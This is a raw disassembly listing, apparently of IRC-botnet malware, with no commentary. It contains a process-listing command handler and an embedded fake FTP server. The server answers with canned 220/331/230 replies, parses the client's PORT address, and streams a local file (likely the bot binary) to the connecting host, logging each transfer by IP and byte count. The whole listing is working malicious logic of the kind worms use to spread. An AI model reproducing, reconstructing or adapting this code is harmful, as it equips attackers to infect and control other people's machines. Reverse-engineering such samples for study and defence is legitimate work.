arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41E760
		push	eax
		mov	large fs:0, esp
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+5Ch+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E8FA
		lea	eax, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4018E8
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0
		push	ecx
		call	sub_4011D6
		add	esp, 4
		test	al, al
		jz	loc_41E8E2
		push	0
		push	7Bh
		push	25h
		push	9
		push	25h
		push	25h
		push	9
		push	5
		push	1Dh
		push	23h
		push	1Fh
		lea	edx, [esp+8Ch+var_3C]
		push	79h
		push	edx
		call	sub_4019C4
		add	esp, 34h
		mov	edi, eax
		lea	ebx, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 1
		mov	ecx, ebx
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_40170D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		xor	edi, edi
		call	sub_4014E2
		mov	eax, [eax]
		lea	ecx, [esp+60h+var_4C]
		push	ecx
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], eax
		call	sub_40197E
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401811
		test	al, al
		jz	short loc_41E8E2
		mov	ebp, dword_5118D8


loc_41E86E:				; CODE XREF: sub_41E760+180j
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_40122B
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_40122B
		mov	edx, [eax+15h]
		mov	ecx, ebx
		push	edx
		push	edi
		push	offset aD_PidDS	; "%d. - Pid: %d - \"%s\""
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		push	5DCh
		call	ebp
		lea	ecx, [esp+60h+var_50]
		call	sub_40107D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_40197E
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401811
		test	al, al
		jnz	short loc_41E86E


loc_41E8E2:				; CODE XREF: sub_41E760+62j
					; sub_41E760+106j
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401825
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41E8FA:				; CODE XREF: sub_41E760+37j
		lea	ecx, [edi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E9EE
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 2
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 3
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 4
		call	sub_4014DD
		push	eax
		push	offset dword_445004
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41E9EE:				; CODE XREF: sub_41E760+1ACj
		lea	ecx, [edi+8Eh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EB55
		lea	edx, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_4016EA
; ---------------------------------------------------------------------------
		lea	eax, [esp+60h+var_48]
		mov	ebx, 5
		push	eax
		mov	[esp+64h+var_4], ebx
		call	sub_402162
		add	esp, 4
		test	al, al
		jz	loc_41EB3D
		push	0
		push	3Eh
		push	13h
		push	ebx
		push	3
		push	9
		push	16h
		push	12h
		push	ebx
		push	13h
		lea	ecx, [esp+88h+var_3C]
		push	3Dh
		push	ecx
		call	sub_4019C4
		add	esp, 30h
		mov	edi, eax
		lea	ebp, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 6
		mov	ecx, ebp
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401B54
		lea	ecx, [esp+60h+var_4C]
		xor	edi, edi
		push	ecx
		lea	ecx, [esp+64h+var_48]
		call	sub_401465
		mov	edx, [eax]
		lea	eax, [esp+60h+var_4C]
		push	eax
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], edx
		call	sub_4013F7
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jz	short loc_41EB3D
		mov	ebx, dword_5118D8


loc_41EAD6:				; CODE XREF: sub_41E760+3DBj
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_401055
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	edi
		push	offset dword_444FF8
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		push	5DCh
		call	ebx
		lea	ecx, [esp+60h+var_50]
		call	sub_401839
		lea	eax, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4013F7
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jnz	short loc_41EAD6


loc_41EB3D:				; CODE XREF: sub_41E760+2CFj
					; sub_41E760+36Ej
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401253
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41EB55:				; CODE XREF: sub_41E760+2A3j
		lea	ecx, [edi+0BCh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EC4C
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 7
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 8
		call	sub_4017EE
		push	eax
		call	sub_401A0A
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 9
		call	sub_4014DD
		push	eax
		push	offset dword_444FF0
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41EC4C:				; CODE XREF: sub_41E760+40Aj
		lea	ecx, [edi+60h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Ah
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	short loc_41ED15
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_24]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 0Bh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+60h+var_24]
		mov	ebx, eax
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	ebx, ebx
		jz	short loc_41ED15
		push	ebx
		push	offset dword_444FE4
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		push	ebx
		call	sub_4018B6
		add	esp, 1Ch
		jmp	short loc_41ED17
; ---------------------------------------------------------------------------


loc_41ED15:				; CODE XREF: sub_41E760+1F0j
					; sub_41E760+44Ej ...
		xor	al, al


loc_41ED17:				; CODE XREF: sub_41E760+195j
					; sub_41E760+289j ...
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 50h
		retn	4
sub_41E760	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 180h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_41EEB0:				; CODE XREF: ___:loc_402004j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	(offset	asc_43C4EA+26h)
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_5118D8
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	dword ptr [ebp-4], 0


loc_41EEE0:				; CODE XREF: ___:0041EEF1j
		mov	al, [esi+0ABh]
		test	al, al
		jnz	short loc_41EEF3
		push	3E8h
		call	edi
		jmp	short loc_41EEE0
; ---------------------------------------------------------------------------


loc_41EEF3:				; CODE XREF: ___:0041EEE8j
		mov	al, [esi+0ACh]
		lea	ecx, [esi+15h]
		push	eax
		push	ecx
		mov	ecx, offset byte_449277
		call	sub_401A41
		lea	edx, [ebp-14h]
		mov	ecx, offset byte_4E8E9B
		push	edx
		mov	[ebp-14h], esi
		call	sub_40120D
; ---------------------------------------------------------------------------


loc_41EF19:				; DATA XREF: ___:loc_41EF2Co
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41EF2C:				; DATA XREF: ___:00442554o
		mov	eax, offset loc_41EF19
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EF70	proc near		; CODE XREF: sub_401DFCj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi+11h], eax
		mov	cl, [eax+94h]
		mov	[esi+0A9h], cl
		mov	dl, [eax+93h]
		mov	[esi+0A8h], dl
		mov	cl, [eax+95h]
		add	eax, 15h
		mov	[esi+0AAh], cl
		push	eax
		lea	ecx, [esi+2Ah]
		call	sub_401FDC
		mov	edx, [esi+11h]
		lea	ecx, [esi+69h]
		add	edx, 54h
		push	edx
		call	sub_401FDC
		mov	eax, [esi+11h]
		lea	ecx, [esi+54h]
		add	eax, 3Fh
		push	eax
		call	sub_401FDC
		mov	ecx, [esi+11h]
		add	ecx, 2Ah
		push	ecx
		lea	ecx, [esi+3Fh]
		call	sub_401FDC
		mov	edx, [esi+11h]
		lea	ecx, [esi+15h]
		push	edx
		call	sub_401FDC
		mov	al, [esp+4+arg_4]
		mov	byte ptr [esi+0ABh], 1
		mov	[esi+0ACh], al
		pop	esi
		retn	8
sub_41EF70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F030	proc near		; CODE XREF: sub_4020C7j

var_DC		= dword	ptr -0DCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_94		= byte ptr -94h
var_88		= dword	ptr -88h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_0		= byte ptr  4
arg_8		= byte ptr  0Ch
arg_14		= dword	ptr  18h
arg_18		= byte ptr  1Ch
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_50		= byte ptr  54h
arg_68		= byte ptr  6Ch
arg_80		= byte ptr  84h
arg_88		= byte ptr  8Ch
arg_A8		= byte ptr  0ACh
arg_E4		= byte ptr  0E8h
arg_F0		= byte ptr  0F4h
arg_118		= byte ptr  11Ch
arg_128		= byte ptr  12Ch
arg_138		= byte ptr  13Ch
arg_148		= byte ptr  14Ch
arg_158		= byte ptr  15Ch
arg_908		= byte ptr  90Ch
arg_18C8	= dword	ptr  18CCh
arg_18D8	= dword	ptr  18DCh
arg_1930	= byte ptr  1934h
arg_1970	= dword	ptr  1974h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41F030
		push	eax
		mov	eax, 19B4h
		mov	large fs:0, esp
		call	sub_437B30
		push	esi
		push	edi
		mov	edi, ecx
		xor	eax, eax
		mov	[esp+14h+var_8], edi
		mov	[esp+14h+arg_14], 10h
		lea	esi, [edi+19h]
		mov	ecx, esi
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	word ptr [esi],	2
		mov	[edi+1Dh], eax
		mov	dx, word ptr dword_44964F
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	6
		push	1
		push	2
		mov	[edi+1Bh], ax
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[edi+15h], eax
		jnz	short loc_41F0B7
		lea	eax, [esp+24h+var_18]
		mov	ecx, offset byte_4E8E9B
		push	eax
		mov	[esp+28h+var_18], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F75A
; ---------------------------------------------------------------------------


loc_41F0B7:				; CODE XREF: sub_41F030+6Dj
		push	10h
		push	esi
		push	eax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41F0E7
		mov	ecx, [edi+15h]
		push	ecx
		call	near ptr 71AB9639h
		nop
		lea	edx, [esp+34h+var_28]
		mov	ecx, offset byte_4E8E9B
		push	edx
		mov	[esp+38h+var_28], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F75A
; ---------------------------------------------------------------------------


loc_41F0E7:				; CODE XREF: sub_41F030+93j
		mov	al, byte_4E8E44
		test	al, al
		jz	loc_41F750
		push	ebx
		mov	ebx, dword_511B14
		push	ebp
		mov	ebp, dword_511CA0


loc_41F102:				; CODE XREF: sub_41F030+718j
		mov	eax, [edi+15h]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F11D
		push	0FAh
		jmp	loc_41F73B
; ---------------------------------------------------------------------------


loc_41F11D:				; CODE XREF: sub_41F030+E1j
		mov	eax, [edi+15h]
		lea	ecx, [esp+40h+var_C]
		lea	edx, [esp+40h+arg_F0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_41F736
		xor	ecx, ecx
		lea	edx, [esp+4Ch+var_14]
		mov	[esp+4Ch+var_2C], ecx
		lea	eax, [esp+4Ch+var_2C]
		mov	[esp+4Ch+var_28], ecx
		push	edx
		mov	[esp+50h+var_24], ecx
		push	eax
		push	esi
		mov	[esp+58h+var_14], 10h
		mov	[esp+58h+var_20], ecx
		nop
		call	near ptr 71AC0B50h
		mov	eax, [esp+58h+var_34]
		test	al, al
		jz	loc_41F741
		mov	cl, byte_449DB8
		test	cl, cl
		jz	short loc_41F1CF
		mov	edx, [esp+58h+var_34+3]
		mov	ecx, dword_44964F
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+5Ch+var_34+2]
		push	edx
		mov	edx, [esp+60h+var_34+1]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aFtpD_D_D_DOnD ;	"ftp: %d.%d.%d.%d on %d"
		mov	ecx, offset dword_449958
		call	sub_4014DD
		push	eax
		push	0
		push	0
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h


loc_41F1CF:				; CODE XREF: sub_41F030+14Ej
		lea	ecx, [esp+58h+arg_0]
		call	sub_40142E
		push	1000h
		push	1000h
		lea	ecx, [esp+60h+arg_0]
		mov	[esp+60h+arg_1970], 0
		call	sub_401C71
		push	eax
		call	sub_4015F5
		add	esp, 8
		lea	eax, [esp+58h+arg_0]
		lea	ecx, [esp+58h+arg_18]
		push	eax
		call	sub_4014D3
		lea	ecx, [esp+58h+arg_0]
		mov	byte ptr [esp+58h+arg_1970], 1
		push	ecx
		lea	ecx, [esp+5Ch+arg_18]
		call	sub_401FDC
		mov	edi, offset a220 ; "220	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a220	; "220 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+6Ch+arg_158]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a331 ; "331	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a331	; "331 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+7Ch+arg_148]
		push	800h
		push	eax
		push	esi
		call	sub_401280
		mov	edi, offset a230 ; "230	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a230	; "230 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	ecx, [esp+8Ch+arg_138]
		push	800h
		push	ecx
		push	esi
		call	sub_401280
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+9Ch+arg_128]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		add	esp, 10h
		lea	eax, [esp+98h+arg_128]
		lea	ecx, [esp+98h+var_C]
		push	eax
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+0A4h+var_C]
		mov	[esp+0A4h+arg_1930], 2
		call	sub_4016B8
		push	offset asc_445080 ; ","
		lea	edx, [esp+9Ch+arg_38]
		push	0
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		mov	[esp+0A4h+arg_1930], 3
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 4
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_38]
		mov	edi, eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445080 ; ","
		lea	eax, [esp+9Ch+arg_80]
		push	1
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 5
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_80]
		mov	[esp+98h+var_7C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445080 ; ","
		lea	ecx, [esp+9Ch+arg_8]
		push	2
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 6
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_8]
		mov	[esp+98h+var_5C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445080 ; ","
		lea	edx, [esp+9Ch+arg_68]
		push	3
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 7
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_68]
		mov	[esp+98h+var_58], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445080 ; ","
		lea	eax, [esp+9Ch+arg_20]
		push	4
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 8
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_20]
		mov	[esp+98h+var_88], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445080 ; ","
		lea	ecx, [esp+9Ch+arg_50]
		push	5
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 9
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_50]
		mov	[esp+98h+var_80], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		mov	dl, byte ptr [esp+98h+var_88]
		mov	al, byte ptr [esp+98h+var_80]
		mov	ecx, [esp+98h+var_58]
		mov	byte ptr [esp+98h+var_68+1], dl
		mov	edx, [esp+98h+var_5C]
		mov	byte ptr [esp+98h+var_68], al
		mov	eax, [esp+98h+var_68]
		push	ecx
		and	eax, 0FFFFh
		push	edx
		mov	[esp+0A0h+var_88], eax
		mov	eax, [esp+0A0h+var_7C]
		push	eax
		push	edi
		lea	ecx, [esp+0A8h+arg_A8]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ecx
		nop
		call	sub_5FADE9
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 18h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0ACh+arg_118]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a150 ; "150	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a150	; "150 \r\n"
		push	esi
		call	ebp	; send
		mov	eax, [esp+0B8h+var_A8]
		lea	ecx, [esp+0B8h+arg_88]
		push	eax
		push	ecx
		call	sub_401AA0
		add	esp, 8
		lea	ecx, [esp+0B8h+var_44]
		mov	[esp+0B8h+var_A8], eax
		push	offset aRb	; "rb"
		call	sub_4017EE
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		mov	[esp+0B8h+var_A0], edi
		jz	loc_41F695
		cmp	[esp+0B8h+var_A8], 0FFFFFFFFh
		jz	loc_41F695
		push	2
		push	0
		push	edi
		nop
		call	near ptr 77C4139Ch
		push	edi
		nop
		call	near ptr 77C41574h
		push	0
		push	0
		push	edi
		mov	[esp+0D4h+var_9C], eax
		nop
		call	near ptr 77C4139Ch
		add	esp, 1Ch


loc_41F5C0:				; CODE XREF: sub_41F030+5E1j
		mov	edx, [esp+0B8h+var_A0]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+0B8h+arg_908]
		rep stosd
		push	edx
		push	1000h
		lea	eax, [esp+0C0h+arg_908]
		push	1
		push	eax
		call	near ptr 77C411FBh
		nop
		mov	ecx, [esp+0C8h+var_A0]
		mov	edi, eax
		add	esp, 10h
		test	byte ptr [ecx+0Ch], 20h
		jnz	short loc_41F613
		mov	eax, [esp+0B8h+var_A8]
		push	0
		lea	edx, [esp+0BCh+arg_908]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		cmp	edi, 1000h
		jz	short loc_41F5C0


loc_41F613:				; CODE XREF: sub_41F030+5C7j
		mov	eax, [esp+0C8h+var_B4]
		mov	edx, [eax+11h]
		inc	edx
		mov	[eax+11h], edx
		mov	cl, byte_449DB8
		test	cl, cl
		mov	eax, edx
		jz	short loc_41F67C
		mov	edx, [esp+0C8h+var_A4+3]
		mov	ecx, [esp+0C8h+var_AC]
		push	eax
		mov	eax, [esp+0CCh+var_A4+2]
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+0D0h+var_A4+1]
		push	edx
		mov	edx, [esp+0D4h+var_A4]
		and	eax, 0FFh
		and	ecx, 0FFh
		push	eax
		and	edx, 0FFh
		push	ecx
		push	edx
		push	offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total	s"...
		mov	ecx, offset dword_449958
		call	sub_4014DD
		push	eax
		push	0
		push	0
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 2Ch


loc_41F67C:				; CODE XREF: sub_41F030+5F8j
		mov	eax, [esp+0C8h+var_B0]
		push	eax
		nop
		call	near ptr 77C40AB1h
		mov	ecx, [esp+0CCh+var_B8]
		add	esp, 4
		push	ecx
		nop
		call	near ptr 71AB9639h


loc_41F695:				; CODE XREF: sub_41F030+55Bj
					; sub_41F030+566j
		mov	edi, offset a226 ; "226	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a226	; "226 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0E0h+arg_E4]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a221 ; "221	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a221	; "221 \r\n"
		push	esi
		call	ebp	; send
		push	esi
		call	near ptr 71AB9639h
		nop
		lea	ecx, [esp+0F0h+var_AC]
		mov	byte ptr [esp+0F0h+arg_18D8], 2
		call	sub_401226
		lea	ecx, [esp+0F0h+var_64]
		mov	byte ptr [esp+0F0h+arg_18D8], 1
		call	sub_401226
		lea	ecx, [esp+0F0h+var_7C]
		mov	byte ptr [esp+0F0h+arg_18D8], 0
		call	sub_401226
		lea	ecx, [esp+0F0h+var_94]
		mov	[esp+0F0h+arg_18D8], 0FFFFFFFFh
		call	sub_401226
		mov	edi, [esp+0F0h+var_DC]


loc_41F736:				; CODE XREF: sub_41F030+109j
		push	9C4h


loc_41F73B:				; CODE XREF: sub_41F030+E8j
		nop
		call	near ptr 28502B8h


loc_41F741:				; CODE XREF: sub_41F030+140j
		mov	al, byte_4E8E44
		test	al, al
		jnz	loc_41F102
		pop	ebp
		pop	ebx


loc_41F750:				; CODE XREF: sub_41F030+BEj
		mov	eax, [edi+15h]
